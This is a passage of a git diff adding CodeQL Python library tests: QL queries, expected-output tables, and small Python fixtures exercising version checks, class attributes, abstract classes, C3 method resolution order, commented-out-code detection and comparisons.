ControlFlowNode for Compare | 2 | +| 61 | ControlFlowNode for Compare | 3 | +| 62 | ControlFlowNode for Compare | 2 | +| 65 | ControlFlowNode for Compare | 2 | +| 66 | ControlFlowNode for Compare | 3 | diff --git a/python/ql/test/library-tests/PointsTo/version/VersionTest.ql b/python/ql/test/library-tests/PointsTo/version/VersionTest.ql new file mode 100644 index 00000000000..0e6ca7fdee2 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/version/VersionTest.ql @@ -0,0 +1,9 @@ + +import python +import semmle.python.types.Version + +from VersionTest vt, Location l, int v +where l = vt.getNode().getLocation() and +l.getFile().getName().matches("%test.py") +and (if vt.isTrue() then v = major_version() else v = 5-major_version()) +select l.getStartLine(), vt.(ControlFlowNode).toString(), v diff --git a/python/ql/test/library-tests/PointsTo/version/module.py b/python/ql/test/library-tests/PointsTo/version/module.py new file mode 100644 index 00000000000..9e813a38428 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/version/module.py @@ -0,0 +1,5 @@ + +import sys + +os_test = sys.platform == "linux" +version_test = sys.version_info < (3,) diff --git a/python/ql/test/library-tests/PointsTo/version/test.py b/python/ql/test/library-tests/PointsTo/version/test.py new file mode 100644 index 00000000000..ad82c5ec425 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/version/test.py @@ -0,0 +1,66 @@ +import sys + + + + + + + + + + + + +os_test = sys.platform == "linux" +version_test = sys.version_info < (3,) + +from module import os_test as t2 +from module import version_test as t3 + + +# Tests from six +PY2 = sys.version_info[0] == 2 +PY3 = sys.version_info[0] == 3 + +if PY2: + version = 2 + +if PY3: + version = 3 + +if version == 2: + print("Version 2") + +if t2: + class G: pass +else: + def G(): pass + +g = G + +if t3: + class H: pass +else: + def H(): pass + +h = H + +#Some other forms of check. + +#Hexversion check (unlikely but a valid test) +PY2a = sys.hexversion < 0x03000000 +PY3a = sys.hexversion >= 0x03000000 + +PY2b = sys.hexversion < 0x03000000 +PY3b = sys.hexversion >= 0x03000000 + +PY2c = sys.version_info < (3,) +PY3c = sys.version_info >= (3,) +Py3d = sys.version_info >= (3,4) # Specific version of Python 3, rules out Python 2 +Py2d = sys.version_info < (2,7) +Py3e = sys.version_info[:2] >= (3,3) +Py2f = sys.version_info[:2] < (2,7) + +#From problem_report +Py2g = sys.version[0] < '3' +Py3h = sys.version[0] >= '3' diff --git a/python/ql/test/library-tests/attributes/SelfAttribute.expected b/python/ql/test/library-tests/attributes/SelfAttribute.expected new file mode 100644 index 00000000000..7d5843ffbe0 --- /dev/null +++ b/python/ql/test/library-tests/attributes/SelfAttribute.expected @@ -0,0 +1,4 @@ +| 10 | a1 | defined | +| 18 | a2 | defined | +| 21 | a0 | | +| 25 | a1 | guarded | \ No newline at end of file diff --git a/python/ql/test/library-tests/attributes/SelfAttribute.ql b/python/ql/test/library-tests/attributes/SelfAttribute.ql new file mode 100644 index 00000000000..0ccfe5a397c --- /dev/null +++ b/python/ql/test/library-tests/attributes/SelfAttribute.ql @@ -0,0 +1,11 @@ + +import python +import semmle.python.SelfAttribute + +from SelfAttributeRead sa, int line, string g, string l +where +line = sa.getLocation().getStartLine() and +if sa.guardedByHasattr() then g = "guarded" else g = "" and + +if sa.locallyDefined() then l = "defined" else l = "" +select line, sa.getName(), g + l diff --git a/python/ql/test/library-tests/attributes/test.py b/python/ql/test/library-tests/attributes/test.py new file mode 100644 index 00000000000..bf29f345d8f --- /dev/null +++ b/python/ql/test/library-tests/attributes/test.py @@ -0,0 +1,25 @@ + + +class C(object): + + def __init__(self, x): + self.a0 = x + + def m1(self, y): + self.a1 = y + return self.a1 + + def m2(self, z): + self.a2 = z + if cond: + pass + else: + raise Error() + return self.a2 + + def m3(self): + return self.a0 + + def m4(self): + if hasattr(self, 'a1'): + return self.a1 \ No newline at end of file diff --git a/python/ql/test/library-tests/classes/abstract/Abstract.expected b/python/ql/test/library-tests/classes/abstract/Abstract.expected new file mode 100644 index 00000000000..1a9ca319692 --- /dev/null +++ b/python/ql/test/library-tests/classes/abstract/Abstract.expected @@ -0,0 +1,6 @@ +| class A | yes | +| class B | yes | +| class C | yes | +| class D | no | +| class E | yes | +| class F | no | diff --git a/python/ql/test/library-tests/classes/abstract/Abstract.ql b/python/ql/test/library-tests/classes/abstract/Abstract.ql new file mode 100644 index 00000000000..1117bc95790 --- /dev/null +++ b/python/ql/test/library-tests/classes/abstract/Abstract.ql @@ -0,0 +1,12 @@ + +import python + +from ClassObject cls, string abstract +where +not cls.isBuiltin() and +if cls.isAbstract() then + abstract = "yes" +else + abstract = "no" + +select cls.toString(), abstract diff --git a/python/ql/test/library-tests/classes/abstract/test.py b/python/ql/test/library-tests/classes/abstract/test.py new file mode 100644 index 00000000000..a8f5e803a92 --- /dev/null +++ b/python/ql/test/library-tests/classes/abstract/test.py @@ -0,0 +1,32 @@ + + +class A(object): + + def __init__(self): + raise NotImplementedError + + def _meth(self): + raise NotImplementedError + +class B(A): + + def _meth(self): + "Still abstract" + +class C(A): + pass + +class D(B): + + def __init__(self): + "Not abstract" + +class E(A): + + def __init__(self): + "Still abstract" + +class F(E): + + def _meth(self): + "Not abstract" diff --git a/python/ql/test/library-tests/classes/attr/class_attr.expected b/python/ql/test/library-tests/classes/attr/class_attr.expected new file mode 100644 index 00000000000..65d7b79023b --- /dev/null +++ b/python/ql/test/library-tests/classes/attr/class_attr.expected @@ -0,0 +1,32 @@ +| 5 | class OldStyle | a1 | int 1 | +| 5 | class OldStyle | a2 | List | +| 5 | class OldStyle | l | List | +| 5 | class OldStyle | meth1 | Function meth1 | +| 15 | class OldStyleDerived | a1 | int 1 | +| 15 | class OldStyleDerived | a2 | List | +| 15 | class OldStyleDerived | l | List | +| 15 | class OldStyleDerived | meth1 | Function meth1 | +| 15 | class OldStyleDerived | meth2 | Function meth2 | +| 21 | class NewStyle | a1 | int 1 | +| 21 | class NewStyle | a2 | List | +| 21 | class NewStyle | l | List | +| 21 | class NewStyle | meth3 | Function meth3 | +| 31 | class NewStyleDerived | a1 | int 1 | +| 31 | class NewStyleDerived | a2 | List | +| 31 | class NewStyleDerived | l | List | +| 31 | class NewStyleDerived | meth3 | Function meth3 | +| 31 | class NewStyleDerived | meth4 | Function meth4 | +| 41 | class Meta | meth5 | Function meth5 | +| 41 | class Meta | mro | Builtin-method mro | +| 50 | class WithMeta | a1 | int 1 | +| 50 | class WithMeta | a2 | List | +| 50 | class WithMeta | l | List | +| 50 | class WithMeta | meth6 | Function meth6 | +| 96 | class Oddities | float | builtin-class float | +| 96 | class Oddities | h | Builtin-function hash | +| 96 | class Oddities | int | builtin-class int | +| 96 | class Oddities | l | Builtin-function len | +| 103 | class Sub | float | builtin-class float | +| 103 | class Sub | h | Builtin-function hash | +| 103 | class Sub | int | builtin-class int | +| 103 | class Sub | l | Builtin-function len | \ No newline at end of file diff --git a/python/ql/test/library-tests/classes/attr/class_attr.ql b/python/ql/test/library-tests/classes/attr/class_attr.ql new file mode 100644 index 00000000000..0b283debd5d --- /dev/null +++ b/python/ql/test/library-tests/classes/attr/class_attr.ql @@ -0,0 +1,13 @@ +/** + * @name class_attr + * @kind test + * @problem.severity warning + */ + +import python + +from ClassObject cls, int line, string name, Object obj +where cls.hasLocationInfo(_, line, _, _, _) +and obj = cls.lookupAttribute(name) and +not cls.isC() and not name.matches("\\_\\_%\\_\\_") +select line, cls.toString(), name, obj.toString() \ No newline at end of file diff --git a/python/ql/test/library-tests/classes/attr/class_defined_attr.expected b/python/ql/test/library-tests/classes/attr/class_defined_attr.expected new file mode 100644 index 00000000000..26712c5f275 --- /dev/null +++ b/python/ql/test/library-tests/classes/attr/class_defined_attr.expected @@ -0,0 +1,19 @@ +| 5 | class OldStyle | a1 | int 1 | +| 5 | class OldStyle | a2 | List | +| 5 | class OldStyle | l | List | +| 5 | class OldStyle | meth1 | Function meth1 | +| 15 | class OldStyleDerived | meth2 | Function meth2 | +| 21 | class NewStyle | a1 | int 1 | +| 21 | class NewStyle | a2 | List | +| 21 | class NewStyle | l | List | +| 21 | class NewStyle | meth3 | Function meth3 | +| 31 | class NewStyleDerived | meth4 | Function meth4 | +| 41 | class Meta | meth5 | Function meth5 | +| 50 | class WithMeta | a1 | int 1 | +| 50 | class WithMeta | a2 | List | +| 50 | class WithMeta | l | List | +| 50 | class WithMeta | meth6 | Function meth6 | +| 96 | class Oddities | float | builtin-class float | +| 96 | class Oddities | h | Builtin-function hash | +| 96 | class Oddities | int | builtin-class int | +| 96 | class Oddities | l | Builtin-function len | \ No newline at end of file diff --git a/python/ql/test/library-tests/classes/attr/class_defined_attr.ql b/python/ql/test/library-tests/classes/attr/class_defined_attr.ql new file mode 100644 index 00000000000..843b1ed2b3a --- /dev/null +++ b/python/ql/test/library-tests/classes/attr/class_defined_attr.ql @@ -0,0 +1,13 @@ +/** + * @name class_attr + * @kind test + * @problem.severity warning + */ + +import python + +from ClassObject cls, int line, string name, Object obj +where cls.hasLocationInfo(_, line, _, _, _) +and obj = cls.declaredAttribute(name) and +not cls.isC() and not name.matches("\\_\\_%\\_\\_") +select line, cls.toString(), name, obj.toString() diff --git a/python/ql/test/library-tests/classes/attr/class_defines_attr.expected b/python/ql/test/library-tests/classes/attr/class_defines_attr.expected new file mode 100644 index 00000000000..88adc304ada --- /dev/null +++ b/python/ql/test/library-tests/classes/attr/class_defines_attr.expected @@ -0,0 +1,22 @@ +| 5 | class OldStyle | a1 | +| 5 | class OldStyle | a2 | +| 5 | class OldStyle | a3 | +| 5 | class OldStyle | l | +| 5 | class OldStyle | meth1 | +| 15 | class OldStyleDerived | meth2 | +| 21 | class NewStyle | a1 | +| 21 | class NewStyle | a2 | +| 21 | class NewStyle | a3 | +| 21 | class NewStyle | l | +| 21 | class NewStyle | meth3 | +| 31 | class NewStyleDerived | meth4 | +| 41 | class Meta | meth5 | +| 50 | class WithMeta | a1 | +| 50 | class WithMeta | a2 | +| 50 | class WithMeta | a3 | +| 50 | class WithMeta | l | +| 50 | class WithMeta | meth6 | +| 96 | class Oddities | float | +| 96 | class Oddities | h | +| 96 | class Oddities | int | +| 96 | class Oddities | l | \ No newline at end of file diff --git a/python/ql/test/library-tests/classes/attr/class_defines_attr.ql b/python/ql/test/library-tests/classes/attr/class_defines_attr.ql new file mode 100644 index 00000000000..e9cfdee5ccd --- /dev/null +++ b/python/ql/test/library-tests/classes/attr/class_defines_attr.ql @@ -0,0 +1,13 @@ +/** + * @name class_attr + * @kind test + * @problem.severity warning + */ + +import python + +from ClassObject cls, int line, string name +where cls.hasLocationInfo(_, line, _, _, _) +and cls.declaresAttribute(name) and +not cls.isC() and not name.matches("\\_\\_%\\_\\_") +select line, cls.toString(), name diff --git a/python/ql/test/library-tests/classes/attr/class_has_attr.expected b/python/ql/test/library-tests/classes/attr/class_has_attr.expected new file mode 100644 index 00000000000..e73ad4d1894 --- /dev/null +++ b/python/ql/test/library-tests/classes/attr/class_has_attr.expected @@ -0,0 +1,37 @@ +| 5 | class OldStyle | a1 | +| 5 | class OldStyle | a2 | +| 5 | class OldStyle | a3 | +| 5 | class OldStyle | l | +| 5 | class OldStyle | meth1 | +| 15 | class OldStyleDerived | a1 | +| 15 | class OldStyleDerived | a2 | +| 15 | class OldStyleDerived | a3 | +| 15 | class OldStyleDerived | l | +| 15 | class OldStyleDerived | meth1 | +| 15 | class OldStyleDerived | meth2 | +| 21 | class NewStyle | a1 | +| 21 | class NewStyle | a2 | +| 21 | class NewStyle | a3 | +| 21 | class NewStyle | l | +| 21 | class NewStyle | meth3 | +| 31 | class NewStyleDerived | a1 | +| 31 | class NewStyleDerived | a2 | +| 31 | class NewStyleDerived | a3 | +| 31 | class NewStyleDerived | l | +| 31 | class NewStyleDerived | meth3 | +| 31 | class NewStyleDerived | meth4 | +| 41 | class Meta | meth5 | +| 41 | class Meta | mro | +| 50 | class WithMeta | a1 | +| 50 | class WithMeta | a2 | +| 50 | class WithMeta | a3 | +| 50 | class WithMeta | l | +| 50 | class WithMeta | meth6 | +| 96 | class Oddities | float | +| 96 | class Oddities | h | +| 96 | class Oddities | int | +| 96 | class Oddities | l | +| 103 | class Sub | float | +| 103 | class Sub | h | +| 103 | class Sub | int | +| 103 | class Sub | l | \ No newline at end of file diff --git a/python/ql/test/library-tests/classes/attr/class_has_attr.ql b/python/ql/test/library-tests/classes/attr/class_has_attr.ql new file mode 100644 index 00000000000..a274a1dd95b --- /dev/null +++ b/python/ql/test/library-tests/classes/attr/class_has_attr.ql @@ -0,0 +1,13 @@ +/** + * @name class_attr + * @kind test + * @problem.severity warning + */ + +import python + +from ClassObject cls, int line, string name +where cls.hasLocationInfo(_, line, _, _, _) +and cls.hasAttribute(name) and +not cls.isC() and not name.matches("\\_\\_%\\_\\_") +select line, cls.toString(), name diff --git a/python/ql/test/library-tests/classes/attr/hash.expected b/python/ql/test/library-tests/classes/attr/hash.expected new file mode 100644 index 00000000000..a65142422a0 --- /dev/null +++ b/python/ql/test/library-tests/classes/attr/hash.expected @@ -0,0 +1,2 @@ +| 92 | class Unhashable | NoneType None | +| 103 | class Sub | NoneType None | \ No newline at end of file diff --git a/python/ql/test/library-tests/classes/attr/hash.ql b/python/ql/test/library-tests/classes/attr/hash.ql new file mode 100644 index 00000000000..b4485634cce --- /dev/null +++ b/python/ql/test/library-tests/classes/attr/hash.ql @@ -0,0 +1,15 @@ +/** + * @name class_attr + * @kind test + * @problem.severity warning + */ + +import python + +from ClassObject cls, int line, Object obj +where cls.hasLocationInfo(_, line, _, _, _) +and obj = cls.lookupAttribute("__hash__") and +not cls.isC() and +not obj = theObjectType().lookupAttribute("__hash__") and +not obj = theTypeType().lookupAttribute("__hash__") +select line, cls.toString(), obj.toString() \ No newline at end of file diff --git a/python/ql/test/library-tests/classes/attr/test.py b/python/ql/test/library-tests/classes/attr/test.py new file mode 100644 index 00000000000..37780f02d88 --- /dev/null +++ b/python/ql/test/library-tests/classes/attr/test.py @@ -0,0 +1,104 @@ +from undefined import unknown +k = 1 +l = [] + +class OldStyle: + + def meth1(self): + pass + + a1 = k + a2 = l + a3 = unknown + l = l + +class OldStyleDerived(OldStyle): + + def meth2(self): + pass + + +class NewStyle(object): + + def meth3(self): + pass + + a1 = k + a2 = l + a3 = unknown + l = l + +class NewStyleDerived(NewStyle): + + def meth4(self): + pass + + + + + + +class Meta(type): + + def __init__(cls, name, bases, dct): + type.__init__(cls, name, bases, dct) + cls.defined_in_meta = 1 + + def meth5(self): + pass + +class WithMeta(object): + + def meth6(self): + pass + + a1 = k + a2 = l + a3 = unknown + l = l + +#MRO tests + +#Inconsistent MRO + +class X(object): + pass + +class Y(X): + pass + +#Inconsistent MRO +class Z(X, Y): + pass + +#Ok +class W(Y, x): + pass + +class O: + pass + +#This is OK +class N(object, O): + pass + +# +# Assign builtin objects to class attributes + +len = len + +ord = 10 + +class Unhashable(object): + + __hash__ = None + +class Oddities(object): + + int = int + float = float + l = len + h = hash + +class Sub(Oddities, Unhashable): + pass diff --git a/python/ql/test/library-tests/classes/builtin_classes/options b/python/ql/test/library-tests/classes/builtin_classes/options new file mode 100644 index 00000000000..9a4d1ee4e64 --- /dev/null +++ b/python/ql/test/library-tests/classes/builtin_classes/options @@ -0,0 +1,2 @@ +semmle-extractor-options: --max-import-depth=2 -j +optimize: true diff --git a/python/ql/test/library-tests/classes/builtin_classes/test.expected b/python/ql/test/library-tests/classes/builtin_classes/test.expected new file mode 100644 index 00000000000..4cfd98b96bd --- /dev/null +++ b/python/ql/test/library-tests/classes/builtin_classes/test.expected @@ -0,0 +1 @@ +| builtin-class _ctypes._Pointer | builtin-class _ctypes.PyCPointerType | \ No newline at end of file diff --git a/python/ql/test/library-tests/classes/builtin_classes/test.py b/python/ql/test/library-tests/classes/builtin_classes/test.py new file mode 100644 index 00000000000..705b596bde8 --- /dev/null +++ b/python/ql/test/library-tests/classes/builtin_classes/test.py @@ -0,0 +1 @@ +from ctypes import * \ No newline at end of file diff --git a/python/ql/test/library-tests/classes/builtin_classes/test.ql b/python/ql/test/library-tests/classes/builtin_classes/test.ql new file mode 100644 index 00000000000..19a5a23b954 --- /dev/null +++ b/python/ql/test/library-tests/classes/builtin_classes/test.ql @@ -0,0 +1,5 @@ +import python + +from ClassObject c +where c.getName() = "_ctypes._Pointer" +select c.toString(), c.getAnInferredType().toString() \ No newline at end of file diff --git a/python/ql/test/library-tests/classes/mro/C3.expected b/python/ql/test/library-tests/classes/mro/C3.expected new file mode 100644 index 00000000000..306ebb807f0 --- /dev/null +++ b/python/ql/test/library-tests/classes/mro/C3.expected @@ -0,0 +1,13 @@ +| class A | [A, object] | +| class B | [B, object] | +| class C | [C, object] | +| class D | [D, object] | +| class E | [E, object] | +| class K1 | [K1, A, B, C, object] | +| class K2 | [K2, D, B, E, object] | +| class K3 | [K3, D, A, object] | +| class M | [M, K1, K2, K3, D, A, B, C, E, object] | +| class T1 | [T1, object] | +| class T2 | [T2, object] | +| class T3 | [T3, T2, object] | +| class Test | [Test, T3, T2, T1, object] | diff --git a/python/ql/test/library-tests/classes/mro/C3.ql b/python/ql/test/library-tests/classes/mro/C3.ql new file mode 100644 index 00000000000..caaa43d3d45 --- /dev/null +++ b/python/ql/test/library-tests/classes/mro/C3.ql @@ -0,0 +1,9 @@ + +import python +import semmle.python.pointsto.MRO + +from ClassObject cls +where not cls.isBuiltin() + +select cls.toString(), new_style_mro(cls) + diff --git a/python/ql/test/library-tests/classes/mro/test.py b/python/ql/test/library-tests/classes/mro/test.py new file mode 100644 index 00000000000..9e66ad55650 --- /dev/null +++ b/python/ql/test/library-tests/classes/mro/test.py @@ -0,0 +1,15 @@ + + +#Check that MRO follows C3. + + +class T1(object): pass + +class T2(object): pass + +class T3(T2): pass + +class Test(T3, T1): pass + +#>>> Test.mro() +# [Test, T3, T2, T1, object] diff --git a/python/ql/test/library-tests/classes/mro/wikipedia.py b/python/ql/test/library-tests/classes/mro/wikipedia.py new file mode 100644 index 00000000000..a606313bfdf --- /dev/null +++ b/python/ql/test/library-tests/classes/mro/wikipedia.py @@ -0,0 +1,29 @@ +#Copyright Wikipedia + +#THE WORK (AS DEFINED BELOW) IS PROVIDED UNDER THE TERMS OF THIS CREATIVE COMMONS PUBLIC LICENSE ("CCPL" OR "LICENSE"). +#THE WORK IS PROTECTED BY COPYRIGHT AND/OR OTHER APPLICABLE LAW. ANY USE OF THE WORK OTHER THAN AS AUTHORIZED UNDER +# THIS LICENSE OR COPYRIGHT LAW IS PROHIBITED. +#BY EXERCISING ANY RIGHTS TO THE WORK PROVIDED HERE, YOU ACCEPT AND AGREE TO BE BOUND BY THE TERMS OF THIS LICENSE. +#TO THE EXTENT THIS LICENSE MAY BE CONSIDERED TO BE A CONTRACT, THE LICENSOR GRANTS YOU THE RIGHTS CONTAINED HERE +# IN CONSIDERATION OF YOUR ACCEPTANCE OF SUCH TERMS AND CONDITIONS. + +class A(object): pass + +class B(object): pass + +class C(object): pass + +class D(object): pass + +class E(object): pass + +class K1(A, B, C): pass + +class K2(D, B, E): pass + +class K3(D, A): pass + +class M(K1, K2, K3): pass + +#>>> M.mro() +# [M, K1, K2, K3, D, A, B, C, E, object] diff --git a/python/ql/test/library-tests/comments/blocks.expected b/python/ql/test/library-tests/comments/blocks.expected new file mode 100644 index 00000000000..d337745d4d4 --- /dev/null +++ b/python/ql/test/library-tests/comments/blocks.expected @@ -0,0 +1,4 @@ +| 15 | 16 | Commented out code | +| 21 | 72 | Commented out code | +| 78 | 85 | Commented out code | +| 94 | 97 | Commented out code | \ No newline at end of file diff --git a/python/ql/test/library-tests/comments/blocks.ql b/python/ql/test/library-tests/comments/blocks.ql new file mode 100644 index 00000000000..e5c5f3ec3fd --- /dev/null +++ b/python/ql/test/library-tests/comments/blocks.ql @@ -0,0 +1,13 @@ +/** + * @name commented_out_code + * @description Insert description here... + * @kind problem + * @problem.severity warning + */ + +import python +import Lexical.CommentedOutCode + +from CommentedOutCodeBlock c, int bl, int el +where c.hasLocationInfo(_, bl, _, el, _) +select bl, el, c.toString() \ No newline at end of file diff --git a/python/ql/test/library-tests/comments/blocks_not_example.expected b/python/ql/test/library-tests/comments/blocks_not_example.expected new file mode 100644 index 00000000000..7a0a7158601 --- /dev/null +++ b/python/ql/test/library-tests/comments/blocks_not_example.expected @@ -0,0 +1,3 @@ +| 15 | 16 | Commented out code | +| 21 | 72 | Commented out code | +| 78 | 85 | Commented out code | \ No newline at end of file diff --git a/python/ql/test/library-tests/comments/blocks_not_example.ql b/python/ql/test/library-tests/comments/blocks_not_example.ql new file mode 100644 index 00000000000..ccc8c0ba50b --- /dev/null +++ b/python/ql/test/library-tests/comments/blocks_not_example.ql @@ -0,0 +1,7 @@ + +import python +import Lexical.CommentedOutCode + +from CommentedOutCodeBlock c, int bl, int el +where c.hasLocationInfo(_, bl, _, el, _) and not c.maybeExampleCode() +select bl, el, c.toString() \ No newline at end of file diff --git a/python/ql/test/library-tests/comments/length.expected b/python/ql/test/library-tests/comments/length.expected new file mode 100644 index 00000000000..b9a4b9bccae --- /dev/null +++ b/python/ql/test/library-tests/comments/length.expected @@ -0,0 +1,3 @@ +| 15 | 54 | true | +| 78 | 8 | true | +| 90 | 9 | false | diff --git a/python/ql/test/library-tests/comments/length.ql b/python/ql/test/library-tests/comments/length.ql new file mode 100644 index 00000000000..53d514e6b33 --- /dev/null +++ b/python/ql/test/library-tests/comments/length.ql @@ -0,0 +1,8 @@ + +import python +import Lexical.CommentedOutCode + +from CommentBlock block, int line, boolean code +where block.hasLocationInfo(_, line, _, _, _) and +if block instanceof CommentedOutCodeBlock then code = true else code = false +select line, block.length(), code diff --git a/python/ql/test/library-tests/comments/lines.expected b/python/ql/test/library-tests/comments/lines.expected new file mode 100644 index 00000000000..7c45cf8cd11 --- /dev/null +++ b/python/ql/test/library-tests/comments/lines.expected @@ -0,0 +1,46 @@ +| 15 | Comment #else: | +| 16 | Comment # do_something_else() | +| 21 | Comment #class CommentedOut: | +| 23 | Comment # def __init__(self): | +| 25 | Comment # pass | +| 27 | Comment # def method(self): | +| 29 | Comment # pass | +| 31 | Comment #def g(y): | +| 32 | Comment # assert y | +| 33 | Comment # with y: | +| 34 | Comment # # Commented out comment | +| 35 | Comment # if y: | +| 36 | Comment # do_something() | +| 37 | Comment # else: | +| 38 | Comment # do_something_else() | +| 40 | Comment #def h(z): | +| 41 | Comment # '''Doc string | +| 42 | Comment # ''' | +| 43 | Comment # # Commented out comment | +| 45 | Comment # followed_by_space() | +| 48 | Comment # more_code() | +| 50 | Comment #def j(): | +| 51 | Comment # """ Doc string """ | +| 52 | Comment # pass | +| 54 | Comment #def k(): | +| 56 | Comment # """ Doc string """ | +| 57 | Comment # pass | +| 59 | Comment #def l(): | +| 61 | Comment # """ | +| 62 | Comment # Doc string | +| 63 | Comment # """ | +| 65 | Comment # pass | +| 71 | Comment #def m(): | +| 72 | Comment # pass | +| 78 | Comment #with x: | +| 79 | Comment # pass | +| 80 | Comment #try: | +| 81 | Comment # call() | +| 82 | Comment #except Exception: | +| 83 | Comment # pass | +| 84 | Comment #except: | +| 85 | Comment # pass | +| 94 | Comment # def f(): | +| 95 | Comment # call() | +| 96 | Comment # x.y = z | +| 97 | Comment # return x | \ No newline at end of file diff --git a/python/ql/test/library-tests/comments/lines.ql b/python/ql/test/library-tests/comments/lines.ql new file mode 100644 index 00000000000..a07d2ac1953 --- /dev/null +++ b/python/ql/test/library-tests/comments/lines.ql @@ -0,0 +1,7 @@ + +import python +import Lexical.CommentedOutCode + +from CommentedOutCodeLine c, int l +where l = c.getLocation().getStartLine() +select l, c.toString() \ No newline at end of file diff --git a/python/ql/test/library-tests/comments/lines_not_example.expected b/python/ql/test/library-tests/comments/lines_not_example.expected new file mode 100644 index 00000000000..f476f967cda --- /dev/null +++ b/python/ql/test/library-tests/comments/lines_not_example.expected @@ -0,0 +1,42 @@ +| 15 | Comment #else: | +| 16 | Comment # do_something_else() | +| 21 | Comment #class CommentedOut: | +| 23 | Comment # def __init__(self): | +| 25 | Comment # pass | +| 27 | Comment # def method(self): | +| 29 | Comment # pass | +| 31 | Comment #def g(y): | +| 32 | Comment # assert y | +| 33 | Comment # with y: | +| 34 | Comment # # Commented out comment | +| 35 | Comment # if y: | +| 36 | Comment # do_something() | +| 37 | Comment # else: | +| 38 | Comment # do_something_else() | +| 40 | Comment #def h(z): | +| 41 | Comment # '''Doc string | +| 42 | Comment # ''' | +| 43 | Comment # # Commented out comment | +| 45 | Comment # followed_by_space() | +| 48 | Comment # more_code() | +| 50 | Comment #def j(): | +| 51 | Comment # """ Doc string """ | +| 52 | Comment # pass | +| 54 | Comment #def k(): | +| 56 | Comment # """ Doc string """ | +| 57 | Comment # pass | +| 59 | Comment #def l(): | +| 61 | Comment # """ | +| 62 | Comment # Doc string | +| 63 | Comment # """ | +| 65 | Comment # pass | +| 71 | Comment #def m(): | +| 72 | Comment # pass | +| 78 | Comment #with x: | +| 79 | Comment # pass | +| 80 | Comment #try: | +| 81 | Comment # call() | +| 82 | Comment #except Exception: | +| 83 | Comment # pass | +| 84 | Comment #except: | +| 85 | Comment # pass | \ No newline at end of file diff --git a/python/ql/test/library-tests/comments/lines_not_example.ql b/python/ql/test/library-tests/comments/lines_not_example.ql new file mode 100644 index 00000000000..e6fcaab9d93 --- /dev/null +++ b/python/ql/test/library-tests/comments/lines_not_example.ql @@ -0,0 +1,7 @@ + +import python +import Lexical.CommentedOutCode + +from CommentedOutCodeLine c, int l +where l = c.getLocation().getStartLine() and not c.maybeExampleCode() +select l, c.toString() \ No newline at end of file diff --git a/python/ql/test/library-tests/comments/test.py b/python/ql/test/library-tests/comments/test.py new file mode 100644 index 00000000000..162e6af3ff6 --- /dev/null +++ b/python/ql/test/library-tests/comments/test.py @@ -0,0 +1,103 @@ + +def e(): + #A real comment + some_code() + x = y + some_more_code() + "Ignore single commented out lines as it is too difficult to tell whether they are code" + #class C(object): + a_bit_more_code() + return 1 + +def f(x): + if x: + do_something() + #else: + # do_something_else() + +# Some non-code comments. +# Space immediately after scope start and between functions. +# +#class CommentedOut: +# +# def __init__(self): + +# pass +# +# def method(self): +# +# pass +# +#def g(y): +# assert y +# with y: +# # Commented out comment +# if y: +# do_something() +# else: +# do_something_else() +# +#def h(z): +# '''Doc string +# ''' +# # Commented out comment +# +# followed_by_space() + +# +# more_code() + +#def j(): +# """ Doc string """ +# pass + +#def k(): +# +# """ Doc string """ +# pass + +#def l(): +# +# """ +# Doc string +# """ +# +# pass + +# +# +# +# +#def m(): +# pass +# +# +# +some_code_to_break_up_comments() + +#with x: +# pass +#try: +# call() +#except Exception: +# pass +#except: +# pass + +def a_function_to_break_up_comments(): + pass + +# An example explaining +# something which contains +# the following code: +# +# def f(): +# call() +# x.y = z +# return x +# + + +def foo(): + # type: () -> None + pass \ No newline at end of file diff --git a/python/ql/test/library-tests/comments/type_hint.expected b/python/ql/test/library-tests/comments/type_hint.expected new file mode 100644 index 00000000000..1043c47cb63 --- /dev/null +++ b/python/ql/test/library-tests/comments/type_hint.expected @@ -0,0 +1 @@ +| test.py:102 | # type: () -> None | diff --git a/python/ql/test/library-tests/comments/type_hint.ql b/python/ql/test/library-tests/comments/type_hint.ql new file mode 100644 index 00000000000..55ec57c0d5b --- /dev/null +++ b/python/ql/test/library-tests/comments/type_hint.ql @@ -0,0 +1,6 @@ + +import python + +from TypeHintComment c +select c.getLocation().toString(), c.getText() + diff --git a/python/ql/test/library-tests/comparisons/Compare.expected b/python/ql/test/library-tests/comparisons/Compare.expected new file mode 100644 index 00000000000..70e08a0d348 --- /dev/null +++ b/python/ql/test/library-tests/comparisons/Compare.expected @@ -0,0 +1,20 @@ +| 3 | ControlFlowNode for x == 4 | +| 5 | ControlFlowNode for x != 4 | +| 7 | ControlFlowNode for x > 4 | +| 9 | ControlFlowNode for x < 4 | +| 11 | ControlFlowNode for x >= 4 | +| 13 | ControlFlowNode for x <= 4 | +| 17 | ControlFlowNode for x < 0 | +| 17 | ControlFlowNode for z < 0 | +| 19 | ControlFlowNode for x >= 0 | +| 21 | ControlFlowNode for z >= 0 | +| 23 | ControlFlowNode for w >= 0 | +| 24 | ControlFlowNode for y < 7 | +| 26 | ControlFlowNode for y == 15 | +| 28 | ControlFlowNode for y > 10 | +| 30 | ControlFlowNode for y < 10 | +| 32 | ControlFlowNode for y < 12 | +| 34 | ControlFlowNode for y == 5 | +| 35 | ControlFlowNode for y != 5 | +| 36 | ControlFlowNode for z > 0 | +| 37 | ControlFlowNode for y < 3 | diff --git a/python/ql/test/library-tests/comparisons/Compare.ql b/python/ql/test/library-tests/comparisons/Compare.ql new file mode 100644 index 00000000000..84d97bbbbe2 --- /dev/null +++ b/python/ql/test/library-tests/comparisons/Compare.ql @@ -0,0 +1,9 @@ + +import python + +import semmle.python.Comparisons + +from Comparison c, ControlFlowNode l, CompareOp op, float k +where +c.tests(l, op, k) +select c.getLocation().getStartLine(), l + " " + op.repr() + " " + k diff --git a/python/ql/test/library-tests/comparisons/Compare2.expected b/python/ql/test/library-tests/comparisons/Compare2.expected new file mode 100644 index 00000000000..d574baf4d4e --- /dev/null +++ b/python/ql/test/library-tests/comparisons/Compare2.expected @@ -0,0 +1,28 @@ +| 40 | x == y+4 | +| 40 | y == x-4 | +| 42 | x != y+4 | +| 42 | y != x-4 | +| 44 | x > y+4 | +| 44 | y < x-4 | +| 46 | x < y+4 | +| 46 | y > x-4 | +| 48 | x >= y+4 | +| 48 | y <= x-4 | +| 50 | x <= y+4 | +| 50 | y >= x-4 | +| 54 | w < x+0 | +| 54 | x > w-0 | +| 55 | y < z+2 | +| 55 | z > y-2 | +| 57 | w >= x+0 | +| 57 | x <= w-0 | +| 59 | y < z+2 | +| 59 | z > y-2 | +| 78 | end < 